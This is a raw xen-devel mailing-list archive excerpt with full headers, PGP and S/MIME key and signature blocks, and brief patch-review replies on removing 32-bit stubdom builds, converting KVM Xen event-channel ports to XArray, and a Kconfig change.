 mE9U+iA1VsLhgDqVbsOtZ/S14LRFHczNd/Lqkn7souCSoyWsBs3/wO+OjPvxf7m+Ef+sMtr0
 G5lCWEWa9wa0IXx5HRPW/ScL+e4AVUbL7rurYMfwCzco+7TfjhMEOkC+va5gzi1KrErgNRHH
 kg3PhlnRY0Udyqx++UYkAsN4TQuEhNN32MvN0Np3WlBJOgKcuXpIElmMM5f1BBzJSKBkW0Jc
 Wy3h2Wy912vHKpPV/Xv7ZwVJ27v7KcuZcErtptDevAljxJtE7aJG6WiBzm+v9EswyWxwMCIO
 RoVBYuiocc51872tRGywc03xaQydB+9R7BHPzsBNBFOMcBYBCADLMfoA44MwGOB9YT1V4KCy
 vAfd7E0BTfaAurbG+Olacciz3yd09QOmejFZC6AnoykydyvTFLAWYcSCdISMr88COmmCbJzn
 sHAogjexXiif6ANUUlHpjxlHCCcELmZUzomNDnEOTxZFeWMTFF9Rf2k2F0Tl4E5kmsNGgtSa
 aMO0rNZoOEiD/7UfPP3dfh8JCQ1VtUUsQtT1sxos8Eb/HmriJhnaTZ7Hp3jtgTVkV0ybpgFg
 w6WMaRkrBh17mV0z2ajjmabB7SJxcouSkR0hcpNl4oM74d2/VqoW4BxxxOD1FcNCObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <d3acd616-6ef8-4cb3-a1c0-b8955e0dc958@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------B05xF00yiekeKwV8BH2opEhO"
X-purgate-ID: tlsNG-c201ff/1783414007-151042B8-6450C9A3/0/0
X-purgate-type: clean
X-purgate-size: 8693

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------B05xF00yiekeKwV8BH2opEhO
Content-Type: multipart/mixed; boundary="------------bAGc4xMNl0DqrJCZXCNSxfXS";
 protected-headers="v1"
From: Juergen Gross <jgross@suse.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Samuel Thibault <samuel.thibault@ens-lyon.org>,
 xen-devel@lists.xenproject.org
Message-ID: <946fc933-79e8-4e48-82f8-af2695169d93@suse.com>
Subject: Re: [PATCH 2/5] stubdom: remove support for building in 32-bit mode
References: <20260707083459.226297-1-jgross@suse.com>
 <20260707083459.226297-3-jgross@suse.com>
 <d3acd616-6ef8-4cb3-a1c0-b8955e0dc958@suse.com>
In-Reply-To: <d3acd616-6ef8-4cb3-a1c0-b8955e0dc958@suse.com>
Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaG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6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------bAGc4xMNl0DqrJCZXCNSxfXS
Content-Type: multipart/mixed; boundary="------------3CQbqHR08VE5MFctQp2eKNlr"

--------------3CQbqHR08VE5MFctQp2eKNlr
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMDcuMDcuMjYgMTA6NDIsIEphbiBCZXVsaWNoIHdyb3RlOg0KPiBPbiAwNy4wNy4yMDI2
IDEwOjM0LCBKdWVyZ2VuIEdyb3NzIHdyb3RlOg0KPj4gLS0tIGEvTWFrZWZpbGUNCj4+ICsr
KyBiL01ha2VmaWxlDQo+PiBAQCAtMTQ2LDkgKzE0Niw2IEBAIGluc3RhbGwtdG9vbHM6IGlu
c3RhbGwtdG9vbHMtcHVibGljLWhlYWRlcnMNCj4+ICAgLlBIT05ZOiBpbnN0YWxsLXN0dWJk
b20NCj4+ICAgaW5zdGFsbC1zdHViZG9tOiBtaW5pLW9zLWRpciBpbnN0YWxsLXRvb2xzLXB1
YmxpYy1oZWFkZXJzDQo+PiAgIAkkKE1BS0UpIC1DIHN0dWJkb20gaW5zdGFsbA0KPj4gLWlm
ZXEgKHg4Nl82NCwkKFhFTl9UQVJHRVRfQVJDSCkpDQo+PiAtCVhFTl9UQVJHRVRfQVJDSD14
ODZfMzIgJChNQUtFKSAtQyBzdHViZG9tIGluc3RhbGwtZ3J1Yi1pZi1lbmFibGVkDQo+PiAt
ZW5kaWYNCj4gDQo+IERvZXNuJ3QgdGhpcyBiZWxvbmcgaW4gcGF0Y2ggMSwgdG9nZXRoZXIg
d2l0aCB0aGUgYnVpbGQtc3R1YmRvbTogcnVsZQ0KPiBhZGp1c3RtZW50PyBPciBkb2VzIHRo
YXQgb3RoZXIgaHVuayBiZWxvbmcgaGVyZT8NCg0KQWggeWVzLCBwcm9iYWJseSBiZXR0ZXIg
dG8gbW92ZSBpdCB0byBwYXRjaCAxLg0KDQoNCkp1ZXJnZW4NCg==
--------------3CQbqHR08VE5MFctQp2eKNlr
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/93FcIZ3GCNwFU0u3EjNbNjmXBKDY4F
UGNQH2lvWAUy+dnyThpwdtF/jQ6j9RwE8VP0+NXcYpGJDWlNb9/JmYqLiX2Q3Tye
vpB0CA3dbBQp0OW0fgCetToGIQrg0MbD1C/sEOv8Mr4NAfbauXjZlvTj30H2jO0u
+6WGM6nHwbh2l5O8ZiHkH32iaSTfN7Eu5RnNVUJbvoPHZ8SlM4KWm8rG+lIkGurq
qu5gu8q8ZMKdsdGC4bBxdQKDKHEFExLJK/nRPFmAuGlId1E3fe10v5QL+qHI3EIP
tyfE7i9Hz6rVwi7lWKgh7pe0ZvatAudZ+JNIlBKptb64FaiIOAWDCx1SzR9KdWVy
Z2V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/i1DG86lem3iBDXzXsZDn8R3/CwO0EGAEIACAWIQSFEmdy6PYElKXQl/ew3p3W
KL8TLwUCWt3w0AIbAgCBCRCw3p3WKL8TL3YgBBkWCAAdFiEEUy2wekH2OPMeOLge
gFxhu0/YY74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------3CQbqHR08VE5MFctQp2eKNlr--

--------------bAGc4xMNl0DqrJCZXCNSxfXS--

--------------B05xF00yiekeKwV8BH2opEhO
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpMvPUFAwAAAAAACgkQsN6d1ii/Ey+8
fwf9ECraTu95ELqfftkzbpYSdL3trWJtuRZM16EyfeRYNpwjMIUB1Vi5Zzn21BBhY/80rjr8bxl/
q3M+O7TkzL5Ysq2qnh+VkiY3NZS+xPW1k4efn8KTipP3W8f+EvRRRVF6PtakYdA+NGBmNqgyaPi7
1qPbV238xTbJuolFl+dR0ahGYzu7qcjfOaNg9EsQXWPltfqEZHwRNF5lUgevJz0xD4qz5FT/gKdD
VwMU6M6t5l7oy9tU8t8TlUco4rCvYrMd95mtw5QjLVZTchHAE2CI+vlQ606zj1AmLAq7V01wXjPw
yWoiG9vn19b/CS0a6PTxizSafiqMTp3DaQIC+DoOMg==
=XEkl
-----END PGP SIGNATURE-----

--------------B05xF00yiekeKwV8BH2opEhO--


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 09:16:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 09:16:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356123.1610778 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1uy-0002tv-GA; Tue, 07 Jul 2026 09:16:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356123.1610778; Tue, 07 Jul 2026 09:16:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1uy-0002to-C0; Tue, 07 Jul 2026 09:16:40 +0000
Received: by outflank-mailman (input) for mailman id 1356123;
 Tue, 07 Jul 2026 09:16:38 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ca2cc9890a8387e0d9e9+8353+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wh1uu-0002tP-Pz
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 09:16:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh1us-00DBCC-6Z; Tue, 07 Jul 2026 11:16:34 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ca2cc9890a8387e0d9e9+8353+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4cc3eb-bab6-0a2a0a5309dd-0a2a4508d52e-20
 for <multiple-recipients>; Tue, 07 Jul 2026 11:16:33 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ca2cc9890a8387e0d9e9+8353+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4cc3ef-edec-0a2a45080019-5a9b3222bee0-3
 for <multiple-recipients>; Tue, 07 Jul 2026 11:16:32 +0200
Received: from [2001:8b0:10b:5:7a2d:be49:1d8:dcc1]
 (helo=u09cd745991455d.ant.amazon.com)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wh1ud-0000000HVY8-1DUn; Tue, 07 Jul 2026 09:16:19 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="MIME-Version:Content-Type:References:In-Reply-To:Date:Cc:To:From:Subject:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=MIME-Version:Content-Type:References:
	In-Reply-To:Date:Cc:To:From:Subject:Message-ID:Sender:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description;
	bh=6CxTm5CQJRWizY+bQkG2GRtEXkPbb35miOQMP1VcvQs=; b=WWb1rALipcTiTmbq8tewQHy/MU
	K+Xxc0gqOnOA1RXaJm5i5vhTCRz0mi0orbT2FufyGyMxmuzxJYIjo7mLMxn6W7ZyBuPQ8jpnl9wk8
	O04tpficvR4ryiwPh9pmTMA6wI7jvHUsK1mqKqq6dMFj+NKCo3XPwKQAV62JGj9u883xvYYAPIY3h
	E/UegiOd37SC9+seMKgZio3JYk9w938oUpY7FWHbLF3dTJjKYP0BHm6XbBVHE3e/8bMnx3z2qXBHC
	GUsBGyXueEzD6qteyKzg8jXMviOK3CVAFdKT5qYTjAmuc7vfYFnuOAJGYHF3c0dVsPTK1eOxhNuVN
	4TcqP9xQ==;
Message-ID: <efe39d24a2621ce23f9d53471b3b587feaaa8526.camel@infradead.org>
Subject: Re: [PATCH] KVM: x86/xen: Convert evtchn_ports from IDR to XArray
From: David Woodhouse <dwmw2@infradead.org>
To: Furkan Caliskan <frn1furkan10@gmail.com>, linux-kernel@vger.kernel.org
Cc: kvm@vger.kernel.org, x86@kernel.org, seanjc@google.com,
 pbonzini@redhat.com, 	tglx@kernel.org, mingo@redhat.com, bp@alien8.de,
 dave.hansen@linux.intel.com, 	hpa@zytor.com, paul@xen.org,
 xen-devel@lists.xenproject.org
Date: Tue, 07 Jul 2026 10:16:18 +0100
In-Reply-To: <20260706081311.13633-1-frn1furkan10@gmail.com>
References: <20260706081311.13633-1-frn1furkan10@gmail.com>
Content-Type: multipart/signed; micalg="sha-256"; protocol="application/pkcs7-signature";
	boundary="=-WWrbmVq6ZZZ3yNAFmU9T"
User-Agent: Evolution 3.60.3-0ubuntu1~ppa9~24.04 
MIME-Version: 1.0
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-c1860d/1783415793-A3F323FC-5CA1DC9D/0/0
X-purgate-type: clean
X-purgate-size: 8040


--=-WWrbmVq6ZZZ3yNAFmU9T
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Mon, 2026-07-06 at 11:13 +0300, Furkan Caliskan wrote:
> IDR is deprecated in favor of XArray: see
> Documentation/core-api/idr.rst. Convert evtchn_ports accordingly.
>=20
> kvm_xen_eventfd_assign()'s single-slot idr_alloc() becomes
> xa_insert(), since it was really an insert-at-index, not an
> allocation: -EBUSY replaces -ENOSPC, still mapped to -EEXIST.
>=20
> kvm_xen_hcall_evtchn_send() drops its explicit rcu_read_lock(),
> since xa_load() takes its own RCU read-side section internally.
> evtchnfd's lifetime is still guaranteed by kvm->srcu.
>=20
> xen_lock is left in place: it protects state beyond the map itself.
>=20
> Signed-off-by: Furkan Caliskan <frn1furkan10@gmail.com>

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>

Thanks.

--=-WWrbmVq6ZZZ3yNAFmU9T
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCCD9Aw
ggSOMIIDdqADAgECAhAOmiw0ECVD4cWj5DqVrT9PMA0GCSqGSIb3DQEBCwUAMGUxCzAJBgNVBAYT
AlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xJDAi
BgNVBAMTG0RpZ2lDZXJ0IEFzc3VyZWQgSUQgUm9vdCBDQTAeFw0yNDAxMzAwMDAwMDBaFw0zMTEx
MDkyMzU5NTlaMEExCzAJBgNVBAYTAkFVMRAwDgYDVQQKEwdWZXJva2V5MSAwHgYDVQQDExdWZXJv
a2V5IFNlY3VyZSBFbWFpbCBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMjvgLKj
jfhCFqxYyRiW8g3cNFAvlt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Tue Jul 07 09:52:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 09:52:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356137.1610786 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh2TW-0008AY-48; Tue, 07 Jul 2026 09:52:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356137.1610786; Tue, 07 Jul 2026 09:52:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh2TW-0008AR-1B; Tue, 07 Jul 2026 09:52:22 +0000
Received: by outflank-mailman (input) for mailman id 1356137;
 Tue, 07 Jul 2026 09:52:21 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh2TV-0008AL-8H
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 09:52:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh2TU-005ZAh-HN
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 11:52:20 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4ccc50-5cb7-0a2a0a5109dd-0a2a4501a742-6
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 11:52:20 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4ccc54-400f-0a2a45010019-d155dd2ddd2a-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 11:52:20 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-4720d22c94aso3839360f8f.1
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 02:52:20 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9de1d8cdsm35066734f8f.1.2026.07.07.02.52.18
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 02:52:19 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783417940; x=1784022740; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=+j0vE0cfENYoGHL2s5VYtAE87n8Wp8Kq+hbXHrdLLyM=;
        b=CIa70EUTJTkWQt5jhRBmDc4zwAz7oPZKwTN3rNLAw/ORBhU+T3UlSMlLbIZ8PRdWn3
         UoxyQIK3pW//3WTTXH3/VWDTAGJm3i09YiccyiFedM/VXvR06BabJpUMdCAGJMa1PAeU
         003EwN1kvTP7IO1M+JhqmpnKZ7fIZNntSVuQDcplSU+ECnLosxFF84kOoSKrGL8hAnd0
         URnyAvyd7leT0A8tpGjFhbVbLLD+I08ciCdHYoaUFE6rqoSdkzrVXRN0rZ9GFqQ1jFKM
         avprSR7W+ZuDGTcm67rcDFAM/otAJdj0keOrurhgaY8iBfkGIIAH+Qy9eHtmXPfO+U+M
         Ge8Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783417940; x=1784022740;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=+j0vE0cfENYoGHL2s5VYtAE87n8Wp8Kq+hbXHrdLLyM=;
        b=L5rjJjrDr/FajJfvd3ZEfch5bLvveBX+qprKpcervl3FHHgJ/LdMDEX7COqF3GcOUP
         G9uI5MIU+f2IjcgIdMkXombA7FZjM2RhK2wjZn7ibI7FbMereZXpLMnxrxPZEC6Smr05
         20uEhGV9i9Z72cUtmwqFWmpm2WknKbdJtAZz3/GAgb8U27agyWXaR+5IFvDlsb8mSKEE
         4iRj56ynqh/6qiJbJLHyEuyY8uTwc/sqz4SB3Q8b4BVrqhZhZ+3Oh6zLVYYDeN4DGYck
         EjBBI/ux+kDIRDu7BlgnYfEeRyFHA8AuX1Yi55BAfaoTzNnk4XujRAztiIh4U5+CZjK0
         fciA==
X-Forwarded-Encrypted: i=1; AHgh+Rq9vaDMLk5ILsKlff83OJwBQWYzbIt2cf42VWNkNj2xXhIxOGaqhSFe25OL157OE0CTcuEzy3QFv4k=@lists.xenproject.org
X-Gm-Message-State: AOJu0YygIBERiCwWnXQq9bXyo/WH9I5stsDEYfu8ZkG70DmAdzzT0FEl
	wXRAbxVx+0JxUc5Y27kzbOZ376gef58Pp9r6vDPYwBtNpLBue30xlOV2u7VQ5av2qA==
X-Gm-Gg: AfdE7cmKXEXgZDy4L0Sc3hpm5Hw5MYXTTygwtgG6BQx1hZ5YvCM9rA5znF3yf0A+KQA
	aOWFx0qBzvv2ZnvzdY09GCHUXzgdzNvPqZ+Kz49CxHSvLFndYzQLbVrf6gMxH1TTLw7N0Iidckx
	z/cpuy+zrYooChBQXOSfZ1IecIUMbl7T/QQtM2kajM404SqG6v1gMfYbWvKftUA77Jpt3zRSkQc
	Xelb+2SnIrvj3QsYioCPMWAh92jBBRP+2Kh8ZfNPmgqD2YMM3WJT6P1E2YrtFYBYLIfO+/JcU7h
	u7isEmhX0DxFG1FRFsF/Nqk1EChRGTsrciXaCqqGCLfkyLx+CDrieDSDXhIRiD0UIFBsBGvHWcC
	gBps80nUyQIKG3Og2rWpygMWf9XTd3VhaapzUospLWdpHEsOG1N2GlDdjyiw1n1XMLv2rJXBkJR
	DLpuGTFTG5eCVMP0+u4E0Q53f0VBpk1LBiaGBwsXyPN8xCfHBQh9ycXm+ro8+LpNIliFJw8tHZA
	hhp
X-Received: by 2002:a5d:6541:0:b0:478:3cb6:cc7f with SMTP id ffacd0b85a97d-47de66e3b45mr3676477f8f.54.1783417939745;
        Tue, 07 Jul 2026 02:52:19 -0700 (PDT)
Message-ID: <04360a50-4ed9-4d65-ace4-deb302bb2c28@suse.com>
Date: Tue, 7 Jul 2026 11:52:18 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 04/26] xen/Kconfig: introduce HAS_STATIC_MEMORY
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <39f6e7414696acad4a1257afaf067a832b165cc4.1783331040.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
